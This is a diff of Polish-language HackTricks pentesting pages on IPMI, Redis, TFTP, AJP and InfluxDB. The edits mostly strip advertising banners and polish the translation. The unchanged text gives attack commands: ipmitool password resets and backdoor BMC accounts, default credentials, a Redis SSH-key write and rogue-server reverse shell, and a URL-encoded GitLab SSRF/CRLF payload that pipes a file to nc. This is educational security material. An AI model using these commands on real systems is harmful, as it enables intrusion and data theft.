- -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze Ogłoszenia**\ -Bądź na bieżąco z najnowszymi nagrodami za błędy oraz istotnymi aktualizacjami platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index 7492afe8c..8728d141b 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -4,11 +4,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat: - -{% embed url="https://academy.8ksec.io/" %} ## Podstawowe informacje @@ -20,12 +15,12 @@ Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj - Zarządzania zasilaniem - Odzyskiwania po awariach systemu -IPMI jest w stanie monitorować temperatury, napięcia, prędkości wentylatorów i zasilacze, a także dostarczać informacje o inwentarzu, przeglądać logi sprzętowe i wysyłać powiadomienia za pomocą SNMP. Do jego działania niezbędne są źródło zasilania i połączenie LAN. +IPMI jest w stanie monitorować temperatury, napięcia, prędkości wentylatorów i zasilacze, a także dostarczać informacje o inwentarzu, przeglądać logi sprzętowe i wysyłać powiadomienia za pomocą SNMP. Kluczowe dla jego działania są źródło zasilania i połączenie LAN. -Od momentu wprowadzenia przez Intela w 1998 roku, IPMI było wspierane przez wielu dostawców, co zwiększyło możliwości zdalnego zarządzania, szczególnie dzięki wsparciu wersji 2.0 dla komunikacji szeregowej przez LAN. Kluczowe komponenty to: +Od momentu wprowadzenia przez Intela w 1998 roku, IPMI jest wspierane przez wielu dostawców, co zwiększa możliwości zdalnego zarządzania, szczególnie dzięki wsparciu wersji 2.0 dla komunikacji szeregowej przez LAN. Kluczowe komponenty to: - **Baseboard Management Controller (BMC):** Główny mikro-kontroler do operacji IPMI. -- **Szyny komunikacyjne i interfejsy:** Do komunikacji wewnętrznej i zewnętrznej, w tym ICMB, IPMB oraz różne interfejsy do lokalnych i sieciowych połączeń. +- **Szyny i interfejsy komunikacyjne:** Do komunikacji wewnętrznej i zewnętrznej, w tym ICMB, IPMB oraz różne interfejsy do lokalnych i sieciowych połączeń. - **Pamięć IPMI:** Do przechowywania logów i danych. ![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) @@ -69,7 +64,7 @@ msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` ### **IPMI Anonymous Authentication** -Domyślna konfiguracja w wielu BMC umożliwia dostęp "anonimowy", charakteryzujący się pustymi ciągami nazwy użytkownika i hasła. Ta konfiguracja może być wykorzystana do resetowania haseł kont użytkowników za pomocą `ipmitool`: +Domyślna konfiguracja w wielu BMC umożliwia dostęp "anonimowy", charakteryzujący się pustymi ciągami nazwy użytkownika i hasła. Ta konfiguracja może być wykorzystana do resetowania haseł kont użytkowników o nazwanych kontach za pomocą `ipmitool`: ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword @@ -88,19 +83,19 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### Brute Force -**HP losuje domyślne hasło** dla swojego produktu **Integrated Lights Out (iLO)** podczas produkcji. Ta praktyka różni się od innych producentów, którzy zazwyczaj używają **statycznych domyślnych poświadczeń**. Podsumowanie domyślnych nazw użytkowników i haseł dla różnych produktów przedstawia się następująco: +**HP losowo generuje domyślne hasło** dla swojego produktu **Integrated Lights Out (iLO)** podczas produkcji. Ta praktyka różni się od innych producentów, którzy zazwyczaj używają **statycznych domyślnych poświadczeń**. Podsumowanie domyślnych nazw użytkowników i haseł dla różnych produktów przedstawia się następująco: - **HP Integrated Lights Out (iLO)** używa **fabrycznie losowego 8-znakowego ciągu** jako domyślnego hasła, co pokazuje wyższy poziom bezpieczeństwa. -- Produkty takie jak **iDRAC firmy Dell, IMM firmy IBM** i **Zintegrowany Kontroler Zdalnego Zarządzania Fujitsu** używają łatwych do odgadnięcia haseł, takich jak "calvin", "PASSW0RD" (z zerem) i "admin" odpowiednio. -- Podobnie, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** również używają prostych domyślnych poświadczeń, z "ADMIN", "changeme" i "admin" jako ich hasłami. +- Produkty takie jak **iDRAC firmy Dell, IMM firmy IBM** oraz **Zintegrowany Kontroler Zdalnego Zarządzania Fujitsu** używają łatwych do odgadnięcia haseł, takich jak "calvin", "PASSW0RD" (z zerem) i "admin" odpowiednio. +- Podobnie, **Supermicro IPMI (2.0), Oracle/Sun ILOM** oraz **ASUS iKVM BMC** również używają prostych domyślnych poświadczeń, z "ADMIN", "changeme" i "admin" jako ich hasłami. ## Accessing the Host via BMC -Dostęp administracyjny do Kontrolera Zarządzania Płytą Główną (BMC) otwiera różne ścieżki do uzyskania dostępu do systemu operacyjnego hosta. Proste podejście polega na wykorzystaniu funkcji KVM (Keyboard, Video, Mouse) BMC. Można to zrobić, rebootując hosta do powłoki root za pomocą GRUB (używając `init=/bin/sh`) lub bootując z wirtualnego CD-ROM ustawionego jako dysk ratunkowy. Takie metody pozwalają na bezpośrednią manipulację dyskiem hosta, w tym wstawianie backdoorów, ekstrakcję danych lub wszelkie niezbędne działania w celu oceny bezpieczeństwa. Jednak wymaga to rebootowania hosta, co jest istotną wadą. Bez rebootowania, dostęp do działającego hosta jest bardziej skomplikowany i różni się w zależności od konfiguracji hosta. Jeśli fizyczna lub szeregowa konsola hosta pozostaje zalogowana, można ją łatwo przejąć za pomocą funkcji KVM lub serial-over-LAN (sol) BMC przez `ipmitool`. Badanie wykorzystania wspólnych zasobów sprzętowych, takich jak magistrala i2c i chip Super I/O, to obszar, który wymaga dalszego zbadania. +Dostęp administracyjny do Kontrolera Zarządzania Płytą Główną (BMC) otwiera różne ścieżki do uzyskania dostępu do systemu operacyjnego hosta. Proste podejście polega na wykorzystaniu funkcji KVM (Keyboard, Video, Mouse) BMC. Można to zrobić, rebootując hosta do powłoki root za pomocą GRUB (używając `init=/bin/sh`) lub bootując z wirtualnego CD-ROM ustawionego jako dysk ratunkowy. Takie metody pozwalają na bezpośrednią manipulację dyskiem hosta, w tym wstawianie backdoorów, ekstrakcję danych lub wszelkie niezbędne działania w celu oceny bezpieczeństwa. Jednak wymaga to rebootowania hosta, co jest istotną wadą. Bez rebootowania, dostęp do działającego hosta jest bardziej skomplikowany i różni się w zależności od konfiguracji hosta. Jeśli fizyczna lub szeregowa konsola hosta pozostaje zalogowana, można ją łatwo przejąć za pomocą funkcji KVM lub serial-over-LAN (sol) BMC za pomocą `ipmitool`. Badanie wykorzystania wspólnych zasobów sprzętowych, takich jak magistrala i2c i chip Super I/O, to obszar, który wymaga dalszego zbadania. ## Introducing Backdoors into BMC from the Host -Po skompromitowaniu hosta wyposażonego w BMC, **lokalny interfejs BMC może być wykorzystany do wprowadzenia konta użytkownika backdoor**, tworząc trwałą obecność na serwerze. Atak ten wymaga obecności **`ipmitool`** na skompromitowanym hoście oraz aktywacji wsparcia dla sterownika BMC. Poniższe polecenia ilustrują, jak nowe konto użytkownika może być wstrzyknięte do BMC za pomocą lokalnego interfejsu hosta, co omija potrzebę uwierzytelnienia. Technika ta jest stosowana w szerokim zakresie systemów operacyjnych, w tym Linux, Windows, BSD, a nawet DOS. +Po skompromitowaniu hosta wyposażonego w BMC, **lokalny interfejs BMC może być wykorzystany do wstawienia konta użytkownika backdoor**, tworząc trwałą obecność na serwerze. Atak ten wymaga obecności **`ipmitool`** na skompromitowanym hoście oraz aktywacji wsparcia dla sterowników BMC. Poniższe polecenia ilustrują, jak nowe konto użytkownika może być wstrzyknięte do BMC za pomocą lokalnego interfejsu hosta, co omija potrzebę uwierzytelnienia. Technika ta ma zastosowanie w szerokim zakresie systemów operacyjnych, w tym Linux, Windows, BSD, a nawet DOS. ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit @@ -124,10 +119,5 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit - [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) -
- -Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/6379-pentesting-redis.md b/src/network-services-pentesting/6379-pentesting-redis.md index 4f29cf02e..89258885d 100644 --- a/src/network-services-pentesting/6379-pentesting-redis.md +++ b/src/network-services-pentesting/6379-pentesting-redis.md @@ -2,22 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -
- -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Hacking Insights**\ -Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem - -**Real-Time Hack News**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym - -**Latest Announcements**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - -## Basic Information +## Podstawowe informacje Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarte źródło (licencja BSD), w pamięci **magazyn struktur danych**, używany jako **baza danych**, pamięć podręczna i broker wiadomości. @@ -39,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server ### Baner -Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie w gnieździe** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale to jest bardzo dziwne). +Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie w gnieździe** a zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale to jest bardzo dziwne). W standardowej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz również użyć `redis-cli`: ```bash @@ -60,9 +45,9 @@ Można również skonfigurować **nazwę użytkownika** w parametrze `masteruser > [!NOTE] > Jeśli skonfigurowano tylko hasło, używana nazwa użytkownika to "**default**".\ -> Należy również zauważyć, że **nie ma sposobu, aby zewnętrznie** ustalić, czy Redis został skonfigurowany tylko z hasłem, czy z nazwą użytkownika + hasłem. +> Należy również zauważyć, że **nie ma sposobu, aby zewnętrznie** sprawdzić, czy Redis został skonfigurowany tylko z hasłem czy z nazwą użytkownika + hasłem. -W przypadkach takich jak ten będziesz **musiał znaleźć ważne poświadczenia**, aby interagować z Redis, więc możesz spróbować [**brute-force**](../generic-hacking/brute-force.md#redis).\ +W takich przypadkach będziesz **musiał znaleźć ważne poświadczenia**, aby interagować z Redis, więc możesz spróbować [**brute-force**](../generic-hacking/brute-force.md#redis).\ **W przypadku znalezienia ważnych poświadczeń musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia: ```bash AUTH @@ -111,7 +96,7 @@ KEYS * GET [ ... Get Key ... ] ``` -W przypadku wystąpienia następującego błędu `-WRONGTYPE Operation against a key holding the wrong kind of value` podczas uruchamiania `GET `, może to być spowodowane tym, że klucz może być czymś innym niż ciągiem lub liczbą całkowitą i wymaga specjalnego operatora do wyświetlenia. +W przypadku wystąpienia następującego błędu `-WRONGTYPE Operation against a key holding the wrong kind of value` podczas uruchamiania `GET `, może to być spowodowane tym, że klucz może być czymś innym niż ciąg lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia. Aby poznać typ klucza, użyj polecenia `TYPE`, przykład poniżej dla kluczy listy i hasha. ```bash @@ -125,28 +110,13 @@ HGET # If the type used is weird you can always do: DUMP ``` -**Zrzut bazy danych za pomocą npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **lub python** [**redis-utils**](https://pypi.org/project/redis-utils/) - -
- -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów! - -**Wgląd w hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności o hackingu w czasie rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze ogłoszenia**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! +**Zrzut bazy danych za pomocą npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **lub python** [**redis-utils**](https://pypi.org/project/redis-utils/) ## Redis RCE ### Interaktywna powłoka -[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub powłokę zwrotną w Redis(<=5.0.5). +[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub powłokę odwrotną w Redis(<=5.0.5). ``` ./redis-rogue-server.py --rhost --lhost ``` @@ -191,11 +161,11 @@ sh.stderr.pipe(client); Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) -Proszę pamiętać, że wynik **`config get dir`** może się zmienić po innych ręcznych poleceniach eksploatacyjnych. Sugeruję uruchomić je jako pierwsze zaraz po zalogowaniu się do Redis. W wyniku **`config get dir`** możesz znaleźć **dom** użytkownika **redis** (zwykle _/var/lib/redis_ lub _/home/redis/.ssh_), a znając to, wiesz, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp przez ssh **z użytkownikiem redis**. Jeśli znasz dom innego ważnego użytkownika, w którym masz uprawnienia do zapisu, możesz również to wykorzystać: +Proszę pamiętać, że wynik **`config get dir`** może się zmienić po innych ręcznych poleceniach eksploatacyjnych. Sugeruję uruchomić je jako pierwsze zaraz po zalogowaniu się do Redis. W wyniku **`config get dir`** możesz znaleźć **dom** **użytkownika redis** (zwykle _/var/lib/redis_ lub _/home/redis/.ssh_), a znając to, wiesz, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp przez ssh **z użytkownikiem redis**. Jeśli znasz dom innego ważnego użytkownika, w którym masz uprawnienia do zapisu, możesz również to wykorzystać: -1. Wygeneruj parę kluczy publicznych i prywatnych ssh na swoim komputerze: **`ssh-keygen -t rsa`** -2. Zapisz klucz publiczny do pliku : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** -3. Importuj plik do redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** +1. Wygeneruj parę kluczy publicznych-prywatnych ssh na swoim komputerze: **`ssh-keygen -t rsa`** +2. Zapisz klucz publiczny do pliku: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** +3. Importuj plik do redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 4. Zapisz klucz publiczny do pliku **authorized_keys** na serwerze redis: ``` @@ -208,7 +178,7 @@ OK OK ``` -5. Na koniec możesz **ssh** do **serwera redis** z kluczem prywatnym : **ssh -i id_rsa redis@10.85.0.52** +5. Na koniec możesz **ssh** do **serwera redis** z kluczem prywatnym: **ssh -i id_rsa redis@10.85.0.52** **Ta technika jest zautomatyzowana tutaj:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) @@ -255,7 +225,7 @@ Niektóre **CVEs do ucieczki z LUA**: ### Moduł Master-Slave -​Master redis synchronizuje wszystkie operacje automatycznie z slave redis, co oznacza, że możemy traktować podatny redis jako slave redis, połączony z master redis, który kontrolujemy, a następnie możemy wprowadzić polecenie do naszego własnego redis. +​Główny redis synchronizuje wszystkie operacje automatycznie z redisem podrzędnym, co oznacza, że możemy traktować podatny redis jako redis podrzędny, połączony z głównym redisem, który kontrolujemy, a następnie możemy wprowadzić polecenie do naszego własnego redis. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) @@ -283,7 +253,7 @@ Zatem, jeśli znajdziesz **SSRF vuln** na stronie internetowej i możesz **kontr ### Przykład: Gitlab SSRF + CRLF do Shell -W **Gitlab11.4.7** odkryto lukę **SSRF** oraz **CRLF**. Luka **SSRF** znajdowała się w **funkcjonalności importu projektu z URL** podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (to uzyska dostęp do 127.0.0.1), a luka **CRLF** została wykorzystana poprzez **dodanie %0D%0A** znaków do **URL**. +W **Gitlab11.4.7** odkryto lukę **SSRF** oraz **CRLF**. Luka **SSRF** znajdowała się w **funkcjonalności importu projektu z URL** podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (to uzyska dostęp do 127.0.0.1), a luka **CRLF** została wykorzystana poprzez **dodanie %0D%0A** do **URL**. W związku z tym, możliwe było **wykorzystanie tych luk do komunikacji z instancją Redis**, która **zarządza kolejkami** z **gitlab** i nadużycie tych kolejek w celu **uzyskania wykonania kodu**. Payload nadużycia kolejki Redis to: ``` @@ -296,21 +266,6 @@ A **URL encode** żądanie **wykorzystujące SSRF** i **CRLF** do wykonania `who ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` -_Z jakiegoś powodu (jak dla autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) eksploatacja działała z użyciem schematu `git`, a nie `http`._ - -
- -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Hacking Insights**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Real-Time Hack News**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym - -**Latest Announcements**\ -Bądź na bieżąco z najnowszymi programami bug bounty oraz istotnymi aktualizacjami platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! +_Z jakiegoś powodu (jak dla autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) wykorzystanie działało z schematem `git`, a nie z schematem `http`._ {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/69-udp-tftp.md b/src/network-services-pentesting/69-udp-tftp.md index 14856203d..a2aeb3a6e 100644 --- a/src/network-services-pentesting/69-udp-tftp.md +++ b/src/network-services-pentesting/69-udp-tftp.md @@ -1,12 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - # Podstawowe informacje -**Trivial File Transfer Protocol (TFTP)** to prosty protokół używany na **porcie UDP 69**, który umożliwia transfer plików bez potrzeby uwierzytelniania. Podkreślony w **RFC 1350**, jego prostota oznacza, że brakuje mu kluczowych funkcji zabezpieczeń, co prowadzi do ograniczonego użycia w Internecie publicznym. Jednak **TFTP** jest szeroko stosowany w dużych sieciach wewnętrznych do dystrybucji **plików konfiguracyjnych** i **obrazów ROM** do urządzeń takich jak **aparaty VoIP**, dzięki swojej efektywności w tych konkretnych scenariuszach. +**Trivial File Transfer Protocol (TFTP)** to prosty protokół używany na **porcie UDP 69**, który umożliwia transfer plików bez potrzeby uwierzytelnienia. Podkreślony w **RFC 1350**, jego prostota oznacza, że brakuje mu kluczowych funkcji zabezpieczeń, co prowadzi do ograniczonego użycia w publicznym Internecie. Jednak **TFTP** jest szeroko stosowany w dużych sieciach wewnętrznych do dystrybucji **plików konfiguracyjnych** i **obrazów ROM** do urządzeń takich jak **telefony VoIP**, dzięki swojej efektywności w tych konkretnych scenariuszach. **TODO**: Podaj informacje na temat tego, czym jest tracker Bittorrent (Shodan identyfikuje ten port pod tą nazwą). Jeśli masz więcej informacji na ten temat, daj nam znać, na przykład w [**grupie telegram HackTricks**](https://t.me/peass) (lub w zgłoszeniu na githubie w [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)). @@ -38,8 +34,5 @@ client.upload("filename to upload", "/local/path/file", timeout=5) - `port:69` -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md index a45107845..4dafa9624 100644 --- a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md +++ b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md @@ -2,30 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -
- -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - -## Podstawowe Informacje +## Podstawowe informacje Z [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/) -> AJP to protokół sieciowy. Jest to zoptymalizowana wersja protokołu HTTP, która pozwala samodzielnemu serwerowi internetowemu, takiemu jak [Apache](http://httpd.apache.org/), komunikować się z Tomcat. Historycznie, Apache był znacznie szybszy niż Tomcat w serwowaniu statycznych treści. Idea polega na tym, aby pozwolić Apache na serwowanie statycznych treści, gdy to możliwe, ale proxy'ować żądanie do Tomcat w przypadku treści związanych z Tomcat. +> AJP to protokół sieciowy. Jest to zoptymalizowana wersja protokołu HTTP, która pozwala na komunikację samodzielnego serwera WWW, takiego jak [Apache](http://httpd.apache.org/), z Tomcatem. Historycznie, Apache był znacznie szybszy niż Tomcat w serwowaniu statycznej zawartości. Idea polega na tym, aby pozwolić Apache na serwowanie statycznej zawartości, gdy to możliwe, ale przekazywać żądanie do Tomcata w przypadku zawartości związanej z Tomcatem. Również interesujące: -> Protokół ajp13 jest zorientowany na pakiety. Format binarny został prawdopodobnie wybrany zamiast bardziej czytelnego tekstu zwykłego z powodów wydajnościowych. Serwer internetowy komunikuje się z kontenerem servletów za pośrednictwem połączeń TCP. Aby zredukować kosztowny proces tworzenia gniazd, serwer internetowy będzie starał się utrzymać trwałe połączenia TCP z kontenerem servletów i ponownie wykorzystywać połączenie do wielu cykli żądanie/odpowiedź. +> Protokół ajp13 jest zorientowany na pakiety. Format binarny został prawdopodobnie wybrany zamiast bardziej czytelnego tekstu zwykłego z powodów wydajnościowych. Serwer WWW komunikuje się z kontenerem servletów za pośrednictwem połączeń TCP. Aby zredukować kosztowny proces tworzenia gniazd, serwer WWW będzie starał się utrzymać trwałe połączenia TCP z kontenerem servletów i ponownie wykorzystywać połączenie dla wielu cykli żądanie/odpowiedź. **Domyślny port:** 8009 ``` @@ -86,32 +71,17 @@ ajp_pass tomcats; git clone https://github.com/ScribblerCoder/nginx-ajp-docker cd nginx-ajp-docker ``` -Zamień `TARGET-IP` w `nginx.conf` na AJP IP, a następnie zbuduj i uruchom. +Zamień `TARGET-IP` w `nginx.conf` na IP AJP, a następnie zbuduj i uruchom. ```bash docker build . -t nginx-ajp-proxy docker run -it --rm -p 80:80 nginx-ajp-proxy ``` ### Apache AJP Proxy -Możliwe jest również użycie **Apache AJP proxy** do uzyskania dostępu do tego portu zamiast **Nginx**. +Możliwe jest również użycie **proxy Apache AJP** do uzyskania dostępu do tego portu zamiast **Nginx**. ## References - [https://github.com/yaoweibin/nginx_ajp_module](https://github.com/yaoweibin/nginx_ajp_module) -
- -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Hacking Insights**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Real-Time Hack News**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym - -**Latest Announcements**\ -Bądź na bieżąco z najnowszymi nagrodami za błędy oraz istotnymi aktualizacjami platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index 460380673..91f4f0bd3 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,18 +1,11 @@ # 8086 - Pentesting InfluxDB -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %} {{#include ../banners/hacktricks-training.md}} ## Podstawowe informacje -**InfluxDB** to otwartoźródłowa **baza danych szeregów czasowych (TSDB)** opracowana przez InfluxData. TSDB są zoptymalizowane do przechowywania i obsługi danych szeregów czasowych, które składają się z par znaczników czasu i wartości. W porównaniu do baz danych ogólnego przeznaczenia, TSDB oferują znaczące ulepszenia w **przestrzeni dyskowej** i **wydajności** dla zbiorów danych szeregów czasowych. Wykorzystują specjalistyczne algorytmy kompresji i mogą być skonfigurowane do automatycznego usuwania starych danych. Specjalistyczne indeksy bazy danych również poprawiają wydajność zapytań. +**InfluxDB** to otwartoźródłowa **baza danych szeregów czasowych (TSDB)** opracowana przez InfluxData. TSDB są zoptymalizowane do przechowywania i serwowania danych szeregów czasowych, które składają się z par znaczników czasu i wartości. W porównaniu do baz danych ogólnego przeznaczenia, TSDB oferują znaczące ulepszenia w **przestrzeni dyskowej** i **wydajności** dla zbiorów danych szeregów czasowych. Wykorzystują specjalistyczne algorytmy kompresji i mogą być skonfigurowane do automatycznego usuwania starych danych. Specjalistyczne indeksy bazy danych również poprawiają wydajność zapytań. **Domyślny port**: 8086 ``` @@ -35,11 +28,11 @@ Jeśli **otrzymasz błąd taki jak** ten: `ERR: unable to parse authentication c ``` influx –username influx –password influx_pass ``` -W InfluxDB istniała luka, która pozwalała na ominięcie uwierzytelniania: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) +Wystąpiła luka w influxdb, która pozwalała na ominięcie uwierzytelniania: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) ### Ręczna enumeracja -Informacje z tego przykładu zostały zaczerpnięte z [**tutaj**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/). +Informacje w tym przykładzie zostały zaczerpnięte z [**tutaj**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/). #### Pokaż bazy danych @@ -111,11 +104,3 @@ time cpu host usage_guest usage_guest_nice usage_idle msf6 > use auxiliary/scanner/http/influxdb_enum ``` {{#include ../banners/hacktricks-training.md}} - -
